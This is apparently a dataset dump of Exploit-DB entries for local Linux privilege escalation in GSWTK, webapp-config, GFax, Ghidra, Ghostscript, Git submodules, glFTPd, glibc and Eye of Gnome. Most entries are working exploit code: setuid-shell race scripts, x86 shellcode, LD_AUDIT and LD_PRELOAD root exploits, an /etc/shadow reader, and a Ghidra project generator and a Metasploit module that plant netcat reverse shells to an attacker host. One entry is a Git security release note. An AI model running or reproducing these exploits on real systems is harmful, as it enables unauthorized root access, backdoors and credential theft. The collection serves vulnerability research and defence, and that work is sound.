deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30464
Description: Generic Software Wrappers Toolkit 1.6.3 (GSWTK) - Race Condition Privilege Escalation
Type: local
Platform: linux
Date: 2007-08-09
Author: Robert N. M. Watson

Exploit:
/*
source: https://www.securityfocus.com/bid/25251/info

GSWKT (Generic Software Wrappers Toolkit) is prone to multiple concurrency vulnerabilities because of its implementation of system call wrappers. This problem can result in a race condition between a user thread and the kernel.

Attackers can exploit these issues by replacing certain values in system call wrappers with malicious data to elevate privileges or to bypass auditing. Successful attacks can completely compromise affected computers.

GSWKT 1.6.3 is vulnerable; other versions may also be affected. 
*/

#define EVIL_NAME ./home/ko/.forward.
#define REAL_NAME ./home/ko/Inbox.
volatile char *path;
/* Set up path string so nul is on different page. */
path = fork_malloc_lastbyte(sizeof(EVIL_NAME));
strcpy(path, EVIL_NAME);
/* Page out the nul so reading it causes a fault. */
pageout_lastbyte(path, sizeof(EVIL_NAME));
/* Create a child to overwrite path on next fault. */
pid = fork_and_overwrite_up(path, REAL_NAME,
sizeof(REAL_NAME));
fd = open(path, O_RDRW);
Exploit-DB #25709
Description: Gentoo Webapp-Config 1.10 - Insecure File Creation
Type: local
Platform: linux
Date: 2005-05-26
Author: Eric Romang

Exploit:
source: https://www.securityfocus.com/bid/13780/info

Gentoo webapp-config is prone to an insecure file creation vulnerability. This issue is due to a design error that causes the application to fail to verify the existence of a file before writing to it.

An attacker may leverage this issue to cause arbitrary shell commands to be executed with superuser privileges. 

#!/bin/bash

# Eric Romang aka wow (eromang@zataz.net)
# webapp-config race condition how permit execution of arbitrary command with root privileges
# work with < webapp-config 1.10-r14

rm -f webapp-config_trace.txt fake_tmp_file /tmp/*.postinst.txt
touch ~/fake_tmp_file

echo "0" > webapp-config_trace.txt
status=`cat webapp-config_trace.txt`
echo "Waiting for webapp-config execution..."

while [ "$status" == 0 ]
do
	ps auxw|grep webapp-config|grep root 
	if [ "$?" == 0 ]
	then
		echo "1" > webapp-config_trace.txt
	fi
	status=`cat webapp-config_trace.txt`
done

echo "Process caught !"
process_id=`pgrep -u root webapp-config`
ln -s ~/fake_tmp_file /tmp/$process_id.postinst.txt
echo "fake_file_created!"
echo "we force the file to be overwritten"

echo "0" > webapp-config_trace.txt
status=`cat webapp-config_trace.txt`
echo "Waiting the end of webapp-config"
echo "during all the configuration we force the file to be overwritten"
while [ "$status" == 0 ]
do
	ps auxw|grep webapp-config|grep root
	if [ "$?" == 1 ]
	then
		echo "1" > webapp-config_trace.txt
	else
		echo "echo premature end of script; exit 1;" > ~/fake_tmp_file
	fi
	status=`cat webapp-config_trace.txt`
done
echo "end of webapp-config"
Exploit-DB #30280
Description: GFax 0.7.6 - Temporary Files Local Arbitrary Command Execution
Type: local
Platform: linux
Date: 2007-07-05
Author: Steve Kemp

Exploit:
source: https://www.securityfocus.com/bid/24780/info

GFAX is prone to a vulnerability that lets local attackers execute arbitrary commands with superuser privileges. Successful attacks will result in the complete compromise of affected computers.

GFAX 0.7.6 is vulnerable; other versions may also be affected. 

while true; do echo "*/1 * * * * root /bin/cp /bin/sh /tmp && chmod 4755 /tmp/sh" > /tmp/crontab; done
Exploit-DB #47231
Description: Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution
Type: local
Platform: linux
Date: 2019-08-12
Author: Etienne Lacoche

Exploit:
import os
import inspect
import argparse
import shutil
from shutil import copyfile

print("")
print("")
print("################################################")
print("")
print("------------------CVE-2019-13623----------------")
print("")
print("################################################")
print("")
print("-----------------Ghidra-Exploit-----------------")
print("--Tested version: Ghidra Linux version <= 9.0.4-")
print("------------------------------------------------")
print("")
print("################################################")
print("")
print("----------Exploit by: Etienne Lacoche-----------")
print("---------Contact Twitter: @electr0sm0g----------")
print("")
print("------------------Discovered by:----------------")
print("---------https://blog.fxiao.me/ghidra/----------")
print("")
print("--------Exploit tested on Ubuntu 18.04----------")
print("-----------------Dependency: zip----------------")
print("")
print("################################################")
print("")
print("")

parser = argparse.ArgumentParser()
parser.add_argument("file", help="Path to input export .gar file",default=1)
parser.add_argument("ip", help="Ip to nc listener",default=1)
parser.add_argument("port", help="Port to nc listener",default=1)

args = parser.parse_args()
            
if args.ip and args.port and args.file:

    rootDirURL=os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
    path = "../Ghidra/Features/Decompiler/os/linux64/decompile"
    os.system("mkdir -p ../Ghidra/Features/Decompiler/os/linux64/")
    os.system("echo 'rm -f x; mknod x p && nc "+args.ip+" "+args.port+" 0<x | /bin/bash 1>x' > decompile")
    os.system("chmod +x decompile")
    copyfile("decompile",path)
    copyfile(args.file,rootDirURL+"/"+"project.gar")
    os.system("zip -q project.gar ../Ghidra/Features/Decompiler/os/linux64/decompile")
    os.system("echo 'To fully export this archive, place project.gar to GHIDRA_INSTALL_DIR root path and open it with Restore Project at Ghidra.' > README_BEFORE_OPEN_GAR_FILE")
    os.system("zip -q project.zip README_BEFORE_OPEN_GAR_FILE")    
    os.system("zip -q project.zip project.gar") 
    os.system("rm decompile README_BEFORE_OPEN_GAR_FILE")
    os.system("rm project.gar")
    print("You can now share project.zip and start your local netcat listener.")
    print("")
    print("Project.gar must be placed and opened by victim at GHIDRA_INSTALL_DIR")
    print("root path for payload execution.")
    print("")
Exploit-DB #41955
Description: Ghostscript 9.21 - Type Confusion Arbitrary Command Execution (Metasploit)
Type: local
Platform: linux
Date: 2017-05-02
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit

  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Ghostscript Type Confusion Arbitrary Command Execution',
      'Description'     => %q{
        This module exploits a type confusion vulnerability in Ghostscript that can
        be exploited to obtain arbitrary command execution. This vulnerability affects
        Ghostscript version 9.21 and earlier and can be exploited through libraries
        such as ImageMagick and Pillow.
      },
      'Author'          => [
        'Atlassian Security Team', # Vulnerability discovery
        'hdm'                      # Metasploit module
      ],
      'References'      => [
        %w{CVE 2017-8291},
        %w{URL https://bugs.ghostscript.com/show_bug.cgi?id=697808},
        %w{URL http://seclists.org/oss-sec/2017/q2/148},
        %w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d},
        %w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3}
      ],
      'DisclosureDate'  => 'Apr 27 2017',
      'License'         => MSF_LICENSE,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'Privileged'      => false,
      'Payload'         => {
        'BadChars'      => "\x22\x27\x5c)(", # ", ', \, (, and )
        'Compat'        => {
          'PayloadType' => 'cmd cmd_bash',
          'RequiredCmd' => 'generic netcat bash-tcp'
        }
      },
      'Targets'         => [
        ['EPS file',  template: 'msf.eps']
      ],
      'DefaultTarget'   => 0,
      'DefaultOptions'  => {
        'PAYLOAD'               => 'cmd/unix/reverse_netcat',
        'LHOST'                 => Rex::Socket.source_address,
        'DisablePayloadHandler' => false,
        'WfsDelay'              => 9001
      }
    ))

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.eps'])
    ])
  end

  # Example usage from the bug tracker:
  # $ gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f exploit2.eps

  def exploit
    file_create(template.sub('echo vulnerable > /dev/tty', payload.encoded))
  end

  def template
    ::File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2017-8291',
      target[:template]
    ))
  end

end
Exploit-DB #45631
Description: Git Submodule - Arbitrary Code Execution
Type: local
Platform: linux
Date: 2018-10-16
Author: joernchen

Exploit:
# CVE-2018-17456

I've gotten a couple of questions about exploitation for the
[recent RCE](https://marc.info/?l=git&m=[PII_REDACTED]6397&w=2) in Git. So here we
go with some technical details.

## TL;DR

[Here](https://github.com/joernchen/poc-submodule) is a PoC repository.
EDB Note: Mirror ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45631.zip

## Exploitation

The `.gitmodules` file looks as follows:

```
[submodule "x:x"]
	path = x:x
	url = -u./payload
```

The actual command being injected is set by the url, `-u./payload`
points the `upload-pack` flag of git clone to the `payload` shell
script. Note also the `:` within the path, this part is needed to
actually get the `payload` script executed.

The path will end up as the repository URL in the subsequent `clone`
operation:

```
execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone",
"--no-checkout", "--progress", "--separate-git-dir",
"/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],...
```

As the actual URL from `.gitmodules` is interpreted as the `-u`
argument.

The colon is due to the fact, that the colon character let us go past
those lines in `transport.c`:

```c
    } else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) {
        struct bundle_transport_data *data = xcalloc(1, sizeof(*data));
        transport_check_allowed("file");
        ret->data = data;
        ret->vtable = &bundle_vtable;
        ret->smart_options = NULL;
```

Due to `url_is_local_not_ssh` will return false due to the colon
in the path. And therefore later on in the code the smart_options
containing the `uploadpack` setting are still in place:

```c
   } else {
		/* Unknown protocol in URL. Pass to external handler. */
		int len = external_specification_len(url);
		char *handler = xmemdupz(url, len);
		transport_helper_init(ret, handler);
	}

	if (ret->smart_options) {
		ret->smart_options->thin = 1;
		ret->smart_options->uploadpack = "git-upload-pack";
		if (remote->uploadpack)
			ret->smart_options->uploadpack = remote->uploadpack;
		ret->smart_options->receivepack = "git-receive-pack";1
		if (remote->receivepack)
			ret->smart_options->receivepack = remote->receivepack;
	}
```

## Further hints

The constraint to have a colon in the `path` seems to hinder exploitation on Windows
as a colon is a forbidden character within a path on Windows. However as noted by
some people during the disclosure: Git running within the Windows Subsystem for Linux or
cygwin will allow exploitation on Windows hosts.

Etienne Stalmans who found [a similar issue](https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/)
earlier this year managed to exploit this argument injection [using `--template`](https://twitter.com/_staaldraad/status/[PII_REDACTED]39246592).
Exploit-DB #45548
Description: Git Submodule - Arbitrary Code Execution (PoC)
Type: local
Platform: linux
Date: 2018-10-05
Author: Junio C Hamano

Exploit:
These releases fix a security flaw (CVE-2018-17456), which allowed an
attacker to execute arbitrary code by crafting a malicious .gitmodules
file in a project cloned with --recurse-submodules.

When running "git clone --recurse-submodules", Git parses the supplied
.gitmodules file for a URL field and blindly passes it as an argument
to a "git clone" subprocess.  If the URL field is set to a string that
begins with a dash, this "git clone" subprocess interprets the URL as
an option.  This can lead to executing an arbitrary script shipped in
the superproject as the user who ran "git clone".

In addition to fixing the security issue for the user running "clone",
the 2.17.2, 2.18.1 and 2.19.1 releases have an "fsck" check which can
be used to detect such malicious repository content when fetching or
accepting a push. See "transfer.fsckObjects" in git-config(1).

Credit for finding and fixing this vulnerability goes to joernchen
and Jeff King, respectively.

P.S. Folks at Microsoft tried to follow the known exploit recipe on
Git for Windows (but not Cygwin or other Git implementations on
Windows) and found that the recipe (or its variants they can think
of) would not make their system vulnerable.  This is due to the fact
that the type of submodule path require by the known exploit recipe
cannot be created on Windows.  Nonetheless, it is possible we have
missed some exploitation path and users are encouraged to upgrade.
Exploit-DB #476
Description: glFTPd (Slackware 9.0/9.1/10.0) - Local Stack Overflow
Type: local
Platform: linux
Date: 2004-09-23
Author: CoKi

Exploit:
/* glFTPd local stack buffer overflow exploit 
(Proof of Concept) 

Tested in Slackware 9.0 / 9.1 / 10.0 

by CoKi 
No System Group - http://www.nosystem.com.ar 
*/ 

#include <'stdio.h> 
#include <'strings.h> 
#include <'unistd.h> 

#define BUFFER 288 + 1 
#define PATH "/glftpd/bin/dupescan" 

char shellcode[]= 
"xb0x31xcdx80x89xc3x31xc0xb0x17xcdx80" 
"x31xdbx31xc0xb0x17xcdx80" 
"xebx1fx5ex89x76x08x31xc0x89x46x0cx88x46x07" 
"xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb" 
"x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh"; 

int main(void) { 

char *env[3] = {shellcode, NULL}; 
char buf[BUFFER], *path; 
int *buffer = (int *) (buf); 
int i; 
int ret = 0xbffffffa - strlen(shellcode) - strlen(PATH); 

for(i=0; i<=BUFFER; i+=4) 
*buffer++ = ret; 

printf(" glFTPd local stack buffer overflow (Proof of Concept) "); 
printf(" by CoKi "); 

execle(PATH, "dupescan", buf, NULL, env); 
} 


// milw0rm.com [2004-09-23]
Exploit-DB #18105
Description: glibc - 'LD_AUDIT' Arbitrary DSO Load Privilege Escalation
Type: local
Platform: linux
Date: 2011-11-10
Author: zx2c4

Exploit:
#!/bin/sh

            #######################################################
            #       I Can't Read and I Won't Race You Either      #
            #                      by zx2c4                       #
            #######################################################

################################################################################
# This is an exploit for CVE-2010-3856.
#
# A while back, Tavis showed us three ways to exploit flaws in glibc's dynamic
# linker involving LD_AUDIT. [1] [2]
#
# The first way involved opening a file descriptor and using fexecve to easily
# win a race with $ORIGIN. The problem was that this required having read
# permissions on the SUID executables. Tavis recommended a work around involving
# filling a pipe until it was full so that anything written to stderr would
# block. This race, however, was not always successful. The third thing he
# showed us was that LD_AUDIT would load any trusted library, and he pointed out
# that libpcprofile.so could be jiggered to create a world writable root owned
# file in any directory. One candidate would be to write something to a crontab.
# What if, however, you don't have cron installed? He then went on to explain a
# quite extensive search routine to find candidates for libraries to load.
#
# But why search, when you already can make a world writable root owned file in
# any directory you want? The easier way is to use libpcprofile.so to create
# such a file, and then fill that file with code you want to run. Then, run that
# code using the same trick. Pretty simple, and it works.
#
# - zx2c4
# 2011-11-9
#
# greets to taviso.
#
# [1] http://seclists.org/fulldisclosure/2010/Oct/257
# [2] http://seclists.org/bugtraq/2010/Oct/200
################################################################################

echo "[+] Setting umask to 0 so we have world writable files."
umask 0

echo "[+] Preparing binary payload."
cat > /tmp/payload.c <<_EOF
void __attribute__((constructor)) init()
{
	printf("[+] Cleaning up.\n");
	unlink("/lib/libexploit.so");

	printf("[+] Launching shell.\n");
	setuid(0);
	setgid(0);
	setenv("HISTFILE", "/dev/null", 1);
	execl("/bin/sh", "/bin/sh", "-i", 0);
}
_EOF
gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c

echo "[+] Writing root owned world readable file in /lib"
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/lib/libexploit.so" ping 2>/dev/null

echo "[+] Filling the lib file with lib contents."
cat /tmp/exploit > /lib/libexploit.so
rm /tmp/payload.c /tmp/exploit

echo "[+] Executing payload."
LD_AUDIT="libexploit.so" ping
Exploit-DB #290
Description: GLIBC 2.1.3 - 'LD_PRELOAD' Local Privilege Escalation
Type: local
Platform: linux
Date: 2001-03-04
Author: Shadow

Exploit:
#!/bin/tcsh
# przyklad wykorzystania dziury w LD_PRELOAD
# shadow (tested on redhat 6.0, should work on others)

if ( -e /etc/initscript ) echo uwaga: /etc/initscript istnieje
cd /lib
umask 0
setenv LD_PRELOAD libSegFault.so
setenv SEGFAULT_OUTPUT_NAME /etc/initscript
echo czekaj... to moze chwile potrwac...
while (! -e /etc/initscript )
  ( userhelper >& /dev/null & ; killall -11 userhelper >& /dev/null ) > /dev/null
end

echo utworzylem plik initscript

cat > /etc/initscript << _init_
cp /bin/bash /var/tmp/.nothing
chmod 6755 /var/tmp/.nothing
rm /etc/initscript
_init_

echo i nawet go podmienilem

# milw0rm.com [2001-03-04]
Exploit-DB #28657
Description: glibc and eglibc 2.5/2.7/2.13 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2013-09-30
Author: Hector Marco & Ismael Ripoll

Exploit:
/*
 * 
 * Exploit-DB Note: Reportedly does not work. See output at the bottom of the entry.
 *
 * $FILE: bug-mangle.c
 *
 * Comment: Proof of concept
 *
 * $VERSION$
 *
 * Author: Hector Marco <hecmargi@upv.es>
 *         Ismael Ripoll <iripoll@disca.upv.es>
 *
 * $LICENSE:  
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */

#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>

#ifdef __i386__
   #define ROTATE 0x9
   #define PC_ENV_OFFSET 0x14
#elif __x86_64__
   #define ROTATE 0x11
   #define PC_ENV_OFFSET 0x38
#else
   #error The exploit does not support this architecture
#endif

unsigned long rol(uintptr_t value) {
   return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
}

int hacked(){
   printf("[+] hacked !!\n");
   system("/bin/sh");
}

int main(void){
   jmp_buf env;
   uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);

   printf("[+] Exploiting ...\n");
   if(setjmp(env) == 1){
      printf("[-] Exploit failed.\n");
      return 0;
   }

   /*Overwrie env return address */
   *ptr_ret_env = rol((uintptr_t)hacked);

   longjmp(env, 1);

   printf("[-] Exploit failed.\n");
   return 0;
}

####################################################################################################################
#
# Reader submitted results
/*

[522] user@his-system ~ $ ./POC
[+] Exploiting ...
Segmentation fault
[523] user@his-system ~ $ ldd POC
linux-vdso.so.1 => (0x00007fffab5fd000)
libc.so.6 => /lib64/libc.so.6 (0x[PII_REDACTED]800000)
/lib64/ld-linux-x86-64.so.2 (0x[PII_REDACTED]400000)
[525] user@his-system ~ $ uname -a
Linux his-sysrtem.domain.LOCAL 2.6.18-348.12.1.el5xen #1 SMP Mon Jul 1 17:58:32 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux
[526] user@his-system ~ $

[526] user@his-system ~ $ grep vsys /proc/self/maps
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]

*/
Exploit-DB #258
Description: glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read
Type: local
Platform: linux
Date: 2001-01-25
Author: krochos

Exploit:
# Charles Stevenson <csteven@newhope.terraplex.com>
# glibc-2.2 and openssh-2.3.0p1 (Debian 2.3 , Redhat 7.0)
# This exploits is for glibc >= 2.1.9x.
# (****krochos@linuxmail.org****)
# Edit this if you have a problem with path

ssh=/usr/bin/ssh
traceroute=/usr/sbin/traceroute
FILE=/etc/shadow        # File to read
###############################################################################

echo "$ssh"
echo "[*] Checking permisions..."

if [ ! -u $ssh ]; then
        echo "$ssh is NOT setuid on this system or does not exist at all!"
        if [ ! -u $traceroute ]; then
          echo "$traceroute is NOT setuid on this system or does not exist at all!"
          exit 0
        fi
fi

export RESOLV_HOST_CONF=$FILE

echo "[*] Glibc bug found by Charles Stevenson <csteven@NEWHOPE.TERRAPLEX.COM>"
echo "[*] krochos@linuxmail.org"
sleep 1
echo "[*] export  RESOLV_HOST_CONF=/etc/shadow"
ssh lt 2>/tmp/.resolv
cat /tmp/.resolv |  cut -d"\`" -f5,2 | awk -F"\'" '{print $1} '

# milw0rm.com [2001-01-25]
Exploit-DB #22376
Description: GNOME Eye Of Gnome 1.0.x/1.1.x/2.2 - Format String
Type: local
Platform: linux
Date: 2003-03-28
Author: Core Security

Exploit:
source: https://www.securityfocus.com/bid/7121/info

GNOME Eye of Gnome (EOG) image viewer is prone to a format string vulnerability. This condition may lead to execution of arbitrary code if malicious format specifiers are supplied to the program via the command line. As some utilities may be configured to invoke EOG as the handler for images through a mailcap entry, this may allow for local privilege escalation or possibly remote exploitation.

$ /usr/bin/eog this_is_an_invalid_file_%n%n